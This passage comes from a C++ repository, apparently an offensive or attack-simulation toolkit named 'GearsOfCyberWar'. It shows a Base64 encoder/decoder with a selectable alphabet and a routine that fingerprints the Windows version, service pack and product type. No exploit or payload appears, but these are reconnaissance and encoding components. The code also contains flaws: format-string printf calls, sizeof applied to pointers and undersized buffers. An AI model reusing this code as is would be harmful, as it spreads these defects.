EncodedData[ByteCounter++] = Alphabet[((0x03&PlainData[ByteIndex])<<4) + (PlainData[ByteIndex+1] >> 4)]; 147 | EncodedData[ByteCounter++] = Alphabet[(0x0F&PlainData[ByteIndex+1]) << 2]; 148 | EncodedData[ByteCounter++] = PaddingChar; 149 | } //end if 150 | 151 | EncodedData[ByteCounter] = 0; 152 | return EncodedData; 153 | } 154 | 155 | char* Base64Decode(const unsigned char* EncodedData, 156 | unsigned int EncodedDataLength, const char* Alphabet, 157 | const char PaddingChar, unsigned int* PlainDataLength) { 158 | char* PlainData = 0; 159 | *PlainDataLength = 0; 160 | int i = 0; 161 | int j = 0; 162 | int ByteCounter = 0; 163 | 164 | if (EncodedData != 0 && EncodedDataLength >= 2) { 165 | int ByteIndex = 0; 166 | unsigned int PaddingLen = 0; 167 | if (EncodedData[EncodedDataLength-1] == PaddingChar) PaddingLen++; 168 | if (EncodedData[EncodedDataLength-2] == PaddingChar) PaddingLen++; 169 | *PlainDataLength = 3*EncodedDataLength/4 - PaddingLen; 170 | PlainData = new char[*PlainDataLength+1]; 171 | if (!PlainData) { 172 | return 0; 173 | } 174 | 175 | unsigned char* TempByteArray3 = new unsigned char[3]; 176 | unsigned char* TempByteArray4 = new unsigned char[4]; 177 | 178 | while(EncodedDataLength-- && (EncodedData[ByteIndex]) != PaddingChar) { 179 | TempByteArray4[i++] = EncodedData[ByteIndex]; 180 | ByteIndex++; 181 | 182 | if (i == 4) { 183 | for (i = 0; i < 4; i++) { 184 | TempByteArray4[i] = strchr(Alphabet, TempByteArray4[i])-Alphabet; 185 | } 186 | 187 | TempByteArray3[0] = (TempByteArray4[0] << 2) + ((TempByteArray4[1] & 0x30) >> 4); 188 | TempByteArray3[1] = ((TempByteArray4[1] & 0xF) << 4) + ((TempByteArray4[2] & 0x3C) >> 2); 189 | TempByteArray3[2] = ((TempByteArray4[2] & 0x3) << 6) + TempByteArray4[3]; 190 | 191 | for (i = 0; (i < 3); i++) { 192 | PlainData[ByteCounter++] = TempByteArray3[i]; 193 | } 194 | i = 0; 195 | } // end if 196 | } // end while 197 | 198 | if (i) { 199 | for (j = i; j <4; j++) 200 | TempByteArray4[j] = 0; 201 | 202 | for (j = 0; j <4; j++) { 203 | TempByteArray4[j] = strchr(Alphabet, TempByteArray4[j])-Alphabet; 204 | } 205 | 206 | TempByteArray3[0] = (TempByteArray4[0] << 2) + ((TempByteArray4[1] & 0x30) >> 4); 207 | TempByteArray3[1] = ((TempByteArray4[1] & 0xf) << 4) + ((TempByteArray4[2] & 0x3c) >> 2); 208 | TempByteArray3[2] = ((TempByteArray4[2] & 0x3) << 6) + TempByteArray4[3]; 209 | 210 | for (j = 0; (j < i - 1); j++) { 211 | PlainData[ByteCounter++] = TempByteArray3[j]; 212 | } 213 | } 214 | } 215 | 216 | PlainData[ByteCounter] = 0; 217 | return PlainData; 218 | } 219 | 220 | int TestBase64() { 221 | const char* TestBase64Encode = "Base64 Encoding Test"; 222 | const char* TestBase64Decode = "QmFzZTY0IEVuY29kaW5nIFRlc3Q="; 223 | unsigned int PlainDataLength = 0; 224 | unsigned int EncodedDataLength = 0; 225 | printf("[*] Plain string: "); 226 | printf(TestBase64Encode); 227 | printf("\n"); 228 | char* Base64EncodeResult = Base64Encode((const unsigned char*)TestBase64Encode, 229 | strlen(TestBase64Encode), RegularAlphabet, '=', &EncodedDataLength); 230 | printf("[*] Encoded string :"); 231 | printf(Base64EncodeResult); 232 | printf("\n"); 233 | char * Base64DecodeResult = Base64Decode((const unsigned char*)Base64EncodeResult, 234 | EncodedDataLength, RegularAlphabet, '=', &PlainDataLength); 235 | printf("[*] Reverted plain string :"); 236 | printf(Base64DecodeResult); 237 | printf("\n"); 238 | 239 | return strcmp(TestBase64Encode, Base64DecodeResult); 240 | } 241 | 242 | -------------------------------------------------------------------------------- /GearsOfCyberWar/src/GetWindowsVersionInfo.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include "GetWindowsVersionInfo.h" 5 | 6 | 7 | /** 8 | Obtains information about the current Windows operating system by 9 | using the GetVersionEx and GetSystemMetrics Windows API functions. The results 10 | are stored in the provided non-null parameters. 11 | Stores the major version of Windows. 12 | This parameter cannot be NULL. 13 | Stores the minor version of Windows. 14 | This parameter cannot be NULL. 15 | Stores the product type information. The 16 | product type is useful to determine if the OS is a Domain Controller, 17 | a server or a workstation. If a NULL pointer is provided, the product type is 18 | not returned. 19 | Stores the build number of Windows if any. 20 | If a NULL pointer is provided, the product type is 21 | not returned. 22 | Stores the platform id of Windows if any. 23 | If a NULL pointer is provided, the platform id is not returned. 24 | Stores the major version of the service pack if any. 25 | If a NULL pointer is provided, the platform id is not returned. 26 | Stores the minor version of the service pack if any. 27 | If a NULL pointer is provided, the platform id is not returned. 28 | Stores information about the product suite if any. 29 | If a NULL pointer is provided, the platform id is not returned. 30 | Stores information about the build of the server if any. 31 | If a NULL pointer is provided, the platform id is not returned. 32 | Returns 1 if the function completed successfully. 33 | 34 | OSVERSIONINFOEX structure 35 | 36 | GetVersionEx function 37 | 38 | GetSystemMetrics function 39 | */ 40 | int GetWindowsVersionInfo(unsigned char* VersionMajor, 41 | unsigned char* VersionMinor, 42 | unsigned short* BuildNumber, 43 | unsigned char* PlatformId, 44 | unsigned char* ServicePackMajor, 45 | unsigned char* ServicePackMinor, 46 | unsigned short* Suite, 47 | unsigned char* ProductType, 48 | unsigned char* ServerBuild) { 49 | //Structure holding the information about 50 | //the operating system. 51 | OSVERSIONINFOEX VersionInformation; 52 | 53 | //Variable to hold the return value of 54 | //function calls 55 | BOOL result = false; 56 | 57 | SecureZeroMemory(&VersionInformation, sizeof(OSVERSIONINFOEX)); 58 | VersionInformation.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); 59 | 60 | // Call to Windows API function 61 | result = GetVersionEx((LPOSVERSIONINFO)&VersionInformation); 62 | 63 | if (result == 0) { 64 | return 0xFFFF; 65 | } 66 | 67 | //Retrieve basic version information of Windows 68 | *VersionMajor = (unsigned char)VersionInformation.dwMajorVersion; 69 | *VersionMinor = (unsigned char)VersionInformation.dwMinorVersion; 70 | 71 | //If requested, return the build number 72 | if(BuildNumber) { 73 | *BuildNumber = (unsigned short)VersionInformation.dwBuildNumber; 74 | } 75 | 76 | //If requested, return the platform id 77 | if (PlatformId) { 78 | *PlatformId = (unsigned char)VersionInformation.dwPlatformId; 79 | } 80 | 81 | //If requested, return the major version of the service pack 82 | if (ServicePackMajor) { 83 | *ServicePackMajor = (unsigned char)VersionInformation.wServicePackMajor; 84 | } 85 | 86 | //If requested, return the minor version of the service pack 87 | if (ServicePackMinor) { 88 | *ServicePackMinor = (unsigned char)VersionInformation.wServicePackMinor; 89 | } 90 | 91 | //If requested, return the product suite of the service pack 92 | if (Suite) { 93 | *Suite = (unsigned short) VersionInformation.wSuiteMask; 94 | } 95 | 96 | if (ProductType) { 97 | *ProductType = (unsigned char)VersionInformation.wProductType; 98 | } 99 | 100 | if (ServerBuild) { 101 | *ServerBuild = GetSystemMetrics(SM_SERVERR2); 102 | } 103 | 104 | //Return SUCCESS 105 | return 0x0001; 106 | } // end function 107 | 108 | /** 109 | 110 | A char array containing a human readable description of the 111 | operating system based on the given parameters. 112 | */ 113 | char* GetWindowsVersionDesc(unsigned char* VersionMajor, 114 | unsigned char* VersionMinor, 115 | unsigned short* BuildNumber, 116 | unsigned char* PlatformId, 117 | unsigned char* ServicePackMajor, 118 | unsigned char* ServicePackMinor, 119 | unsigned short* Suite, 120 | unsigned char* ProductType, 121 | unsigned char* ServerBuild) { 122 | unsigned char BufferSize = 128; 123 | char* WindowsDescription = new char[BufferSize]; 124 | SecureZeroMemory(WindowsDescription, BufferSize); 125 | 126 | //We assume that at this point, we're on a Windows machine. 127 | strcpy_s(WindowsDescription, BufferSize, "Windows"); 128 | 129 | //If nothing was requested, return. 130 | if (VersionMajor == NULL || VersionMinor == NULL) { 131 | return WindowsDescription; 132 | } 133 | 134 | //Start by describing the main Windows version 135 | //Windows XP, Server 2012, Windows 8.... 136 | if (*VersionMajor == 6) { 137 | switch (*VersionMinor) { 138 | case 4: 139 | strcat_s(WindowsDescription, BufferSize, " 10"); 140 | break; 141 | case 3: 142 | if (ProductType) { 143 | if (*ProductType == 1) { 144 | strcat_s(WindowsDescription, BufferSize, " 8.1"); 145 | } else { 146 | strcat_s(WindowsDescription, BufferSize, " Server 2012 R2"); 147 | } 148 | } else { 149 | strcat_s(WindowsDescription, BufferSize, " 8.1 or Server 2012 R2"); 150 | } 151 | break; 152 | case 2: 153 | if (ProductType) { 154 | if (*ProductType == 1) { 155 | strcat_s(WindowsDescription, BufferSize, " 8"); 156 | } else { 157 | strcat_s(WindowsDescription, BufferSize, " Server 2012"); 158 | } 159 | } else { 160 | strcat_s(WindowsDescription, BufferSize, " 8 or Server 2012"); 161 | } 162 | break; 163 | case 1: 164 | if (ProductType) { 165 | if (*ProductType == 1) { 166 | strcat_s(WindowsDescription, BufferSize, " 7"); 167 | } else { 168 | strcat_s(WindowsDescription, BufferSize, " Server 2008 R2"); 169 | } 170 | } else { 171 | strcat_s(WindowsDescription, BufferSize, " 7 or Server 2008 R2"); 172 | } 173 | break; 174 | case 0: 175 | if (ProductType) { 176 | if (*ProductType == 1) { 177 | strcat_s(WindowsDescription, BufferSize, " Vista"); 178 | } else { 179 | strcat_s(WindowsDescription, BufferSize, " Server 2008"); 180 | } 181 | } else { 182 | strcat_s(WindowsDescription, BufferSize, " Vista or Server 2008"); 183 | } 184 | break; 185 | default: 186 | break; 187 | } 188 | } else if (*VersionMajor == 5) { 189 | switch (*VersionMinor) { 190 | case 2: 191 | if (*ServerBuild != 0) { 192 | strcat_s(WindowsDescription, BufferSize, " Server 2003 R2"); 193 | } else if (*ServerBuild == 0) { 194 | strcat_s(WindowsDescription, BufferSize, " Server 2003"); 195 | } else if (*Suite & 0x00008000) { 196 | strcat_s(WindowsDescription, BufferSize, " Home Server"); 197 | } else { 198 | strcat_s(WindowsDescription, BufferSize, " XP Professional (x64)"); 199 | } 200 | break; 201 | case 1: 202 | strcat_s(WindowsDescription, BufferSize, " XP"); 203 | break; 204 | case 0: 205 | strcat_s(WindowsDescription, BufferSize, " 2000"); 206 | break; 207 | default: 208 | break; 209 | } 210 | } else if (*VersionMajor == 4) { 211 | switch (*VersionMinor) { 212 | case 90: 213 | strcat_s(WindowsDescription, BufferSize, " Millenium"); 214 | break; 215 | case 10: 216 | strcat_s(WindowsDescription, BufferSize, " 98"); 217 | break; 218 | case 0: 219 | strcat_s(WindowsDescription, BufferSize, " 95"); 220 | break; 221 | } 222 | } else if (*VersionMajor == 3) { 223 | //Wow if we ever get here, we're at the zombie apocalypse... 224 | strcat_s(WindowsDescription, BufferSize, " 3.1 or inferior."); 225 | } else { 226 | return WindowsDescription; 227 | } 228 | 229 | //If there is a suite, add it after the version 230 | //of Windows 231 | if (Suite) { 232 | switch (*Suite) { 233 | case 0x001: 234 | strcat_s(WindowsDescription, BufferSize, " Small Business"); 235 | break; 236 | case 0x002: 237 | strcat_s(WindowsDescription, BufferSize, " Enterprise"); 238 | break; 239 | case 0x004: 240 | strcat_s(WindowsDescription, BufferSize, " BackOffice"); 241 | break; 242 | case 0x008: 243 | strcat_s(WindowsDescription, BufferSize, " Communications"); 244 | break; 245 | case 0x010: 246 | strcat_s(WindowsDescription, BufferSize, " Terminal"); 247 | break; 248 | case 0x020: 249 | strcat_s(WindowsDescription, BufferSize, " Small Business (Restricted)"); 250 | break; 251 | case 0x040: 252 | strcat_s(WindowsDescription, BufferSize, " EmbeddedNT"); 253 | break; 254 | case 0x080: 255 | strcat_s(WindowsDescription, BufferSize, " Data Center"); 256 | break; 257 | case 0x100: 258 | strcat_s(WindowsDescription, BufferSize, " Single User"); 259 | break; 260 | case 0x200: 261 | strcat_s(WindowsDescription, BufferSize, " Personal"); 262 | break; 263 | case 0x400: 264 | strcat_s(WindowsDescription, BufferSize, " Web Edition"); 265 | break; 266 | case 0x800: 267 | strcat_s(WindowsDescription, BufferSize, " Embedded (Restricted)"); 268 | break; 269 | default: 270 | break; 271 | } 272 | } 273 | 274 | 275 | //Continue by appending the service pack information. 276 | if (ServicePackMajor) { 277 | strcat_s(WindowsDescription, BufferSize, " Service Pack "); 278 | char* lpServPack = new char[2]; 279 | _itoa_s(*ServicePackMajor, lpServPack, 2, 10); 280 | strcat_s(WindowsDescription, BufferSize, lpServPack); 281 | if (ServicePackMinor && *ServicePackMinor != 0) { 282 | _itoa_s(*ServicePackMinor, lpServPack, 2, 10); 283 | strcat_s(WindowsDescription, BufferSize, "."); 284 | strcat_s(WindowsDescription, BufferSize, lpServPack); 285 | } 286 | SecureZeroMemory(lpServPack, sizeof(lpServPack)); 287 | // delete lpServPack; 288 | } 289 | 290 | // Add the build number to the description. 291 | if (BuildNumber) { 292 | char *lpBuild = new char[5]; 293 | _itoa_s(*BuildNumber, lpBuild, 5, 10); 294 | strcat_s(WindowsDescription, BufferSize, " Build "); 295 | strcat_s(WindowsDescription, BufferSize, lpBuild); 296 | SecureZeroMemory(lpBuild, sizeof(lpBuild)); 297 | //delete lpBuild; 298 | } 299 | return WindowsDescription; 300 | } // end function 301 | 302 | int TestWinVersion(int argc, char* argv) { 303 | unsigned char* VersionMajor = new unsigned char[1]; 304 | unsigned char* VersionMinor = new unsigned char[1]; 305 | unsigned short* BuildNumber = new unsigned short[1]; 306 | unsigned char* PlatformId = new unsigned char[1]; 307 | unsigned char* ServicePackMajor = new unsigned char[1]; 308 | unsigned char* ServicePackMinor = new unsigned char[1]; 309 | unsigned short* Suite = new unsigned short[1]; 310 | unsigned char* ProductType = new unsigned char[1]; 311 | unsigned char* ServerBuild = new unsigned char[1]; 312 | 313 | int result = 0; 314 | char* WindowsDescription = NULL; 315 | 316 | result = GetWindowsVersionInfo(VersionMajor, 317 | VersionMinor, 318 | BuildNumber, 319 | PlatformId, 320 | ServicePackMajor, 321 | ServicePackMinor, 322 | Suite, 323 | ProductType, 324 | ServerBuild); 325 | 326 | if (result) { 327 | WindowsDescription = GetWindowsVersionDesc(VersionMajor, 328 | VersionMinor, 329 | BuildNumber, 330 | PlatformId, 331 | ServicePackMajor, 332 | ServicePackMinor, 333 | Suite, 334 | ProductType, 335 | ServerBuild); 336 | if (WindowsDescription) { 337 | printf(WindowsDescription); 338 | printf("\n"); 339 | } else { 340 | printf("[-] Error while retrieving operating system version.\n"); 341 | } 342 | } 343 | 344 | delete VersionMajor; 345 | delete VersionMinor; 346 | delete BuildNumber; 347 | delete PlatformId; 348 | delete ServicePackMajor; 349 | delete ServicePackMinor; 350 | delete Suite; 351 | delete ProductType; 352 | delete ServerBuild; 353 | SecureZeroMemory(WindowsDescription, sizeof(WindowsDescription)); 354 | delete WindowsDescription; 355 | return 0; 356 | } --------------------------------------------------------------------------------